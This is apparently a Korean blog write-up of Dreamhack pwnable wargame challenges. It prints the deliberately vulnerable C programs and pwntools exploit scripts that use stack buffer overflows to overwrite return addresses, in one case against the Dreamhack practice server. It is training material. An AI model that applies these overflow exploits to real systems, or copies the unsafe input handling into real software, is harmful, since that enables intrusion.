1. Return Address Overwrite
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
이 문제는 간단히 입력을 받아 복귀 주소를 get_shell 함수의 주소로 수정하여 익스플로잇하는 문제이다. 이 문제에서는 쉘을 실행시켜주는 get_shell 함수가 있으며 이 함수의 주소를 복귀 주소에 넣어주기만 하면 된다.
from pwn import *
p = process("./rao")
elf = ELF("./rao")
payload = b"A" * 0x38
payload += p64(elf.symbols["get_shell"])
pause()
p.sendlineafter("Input: ", payload)
p.interactive()
위 코드는 문제에 대한 익스플로잇 코드로 먼저 프로세스를 생성하고 get_shell 함수의 주소를 가져오기 위해 elf 변수를 선언한다. 이후 버퍼와 SFP까지 덮을 더미 데이터 A와 get_shell 함수의 주소를 나타내는 심볼을 이용해 페이로드를 만든 다음 그것을 Input에 넣어주기만 하면 된다.


2. basic_exploitation_000
basic_exploitation_000 문제는 아래 글에서 자세히 작성했으니 참조 바란다.
https://lambda-c.tistory.com/37
[Layer7] Pwnable 2차시 문제 풀이
shell_basic [3, 6]이 문제의 코드 구성을 보면 read 함수로 데이터를 읽는 부분이 있다. 이 read 부분의 사이즈가 1000이므로 이를 이용해 쉘 코드를 삽입할 수 있다. 단, 이 이 프로그램에서는 execve가 막
lambda-c.tistory.com
3. basic_exploitation_001
이 문제도 위에 있던 Return Address Overwrite와 거의 똑같은 문제이다. 단 다른 점이란 이 문제는 x86 아키텍처여서 버퍼와 SFP 사이의 값을 구할 때 조심해야 한다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
이 문제도 마찬가지로 입력 받아서 복귀 주소에 read_flag 주소를 넣으면 된다. 아래는 문제에 대한 스크립트 코드이다.
from pwn import *
p = process("./basic_exploitation_001")
elf = ELF("./basic_exploitation_001")
payload = b"A" * 0x84
payload += p32(elf.symbols["read_flag"])
p.sendline(payload)
p.interactive()
단 여기서 주의헤야할 점은 32비트이기 때문에 rbp가 아니라 ebp이다. 그렇기 때문에 복귀 주소와 버퍼 사이에 ebp 값도 더미 데이터를 채워 넣어야 하기 때문에 8바이트가 아닌 4바이트를 채워 넣어야 한다.


4. Cherry
이 문제는 앞에 있는 문제들보다 상대적으로 익스플로잇해야할 절차가 많은 문제이다.
// Name: chall.c
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void flag() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
char fruit[0x6] = "cherry"; // rbp-0x12
int buf_size = 0x10; // rbp-0xc -12
char buf[0x6]; // rbp-0x18 -24
initialize();
write(stdout_fd, "Menu: ", 6);
read(stdin_fd, buf, buf_size);
if(!strncmp(buf, "cherry", 6)) {
write(stdout_fd, "Is it cherry?: ", 15);
read(stdin_fd, fruit, buf_size);
}
return 0;
}
위 코드를 분석하고 취약점을 찾아보자. 먼저 이 코드는 메뉴를 입력하고 입력한 메뉴가 cherry라면 추가적으로 더 입력을 받는 코드이다. 그러나 여기서 그냥 입력으로 오버플로우를 시킬 수 없다. 왜냐하면 read에서 입력 받는 바이트 수가 복귀 주소에 닿을 만큼 충분히 길지 않기 때문이다.
그렇기 때문에 처음에 입력을 받을 때 우리는 buf_size가 위치한 변수의 위치를 파악하여 그 위치에 오버플로우로 접근하여 값을 변경시켜 복귀 주소에 닿을 만큼에 사이즈로 바꿔야 한다. 그 후, 그 다음 입력으로 복귀 주소를 변경하면 된다.
from pwn import *
context.log_level = "debug"
# p = process("./chall")
p = remote("host8.dreamhack.games", 14839)
elf = ELF("./chall")
payload1 = b"cherry"
payload1 += b"A" * 0x6
payload1 += p32(100)
payload2 = b"B" * 0x12 + b"C" * 0x8
payload2 += p64(elf.symbols["flag"])
# p.sendafter(b"Menu: ", payload1)
# p.sendlineafter(b"Is it cherry?: ", payload2)
# p.interactive()
p.sendafter(b"Menu: ", payload1)
p.recvuntil(b"Is it cherry?: ")
p.sendline(payload2)
p.interactive()
처음에 사이즈를 변경시킬 페이로드를 확인해보자. 페이로드에 첫 문자열로 cherry를 넣은 것을 확인할 수 있다. 이 cherry를 넣은 이유는 다음 read를 실행시키려면 문자열의 처음 6자리가 cherry여야 하기 때문이다. 그 다음 남은 거리만큼 더미 데이터로 덮고 사이즈를 충분히하기 위해 100으로 바꾼다.
두 번째 페이로드에서는 평소처럼 거리를 계산하여 복귀 주소를 변경시키면 된다.


'포너블' 카테고리의 다른 글
| [Dreamhack] Return To Library Writeup (0) | 2025.08.12 |
|---|
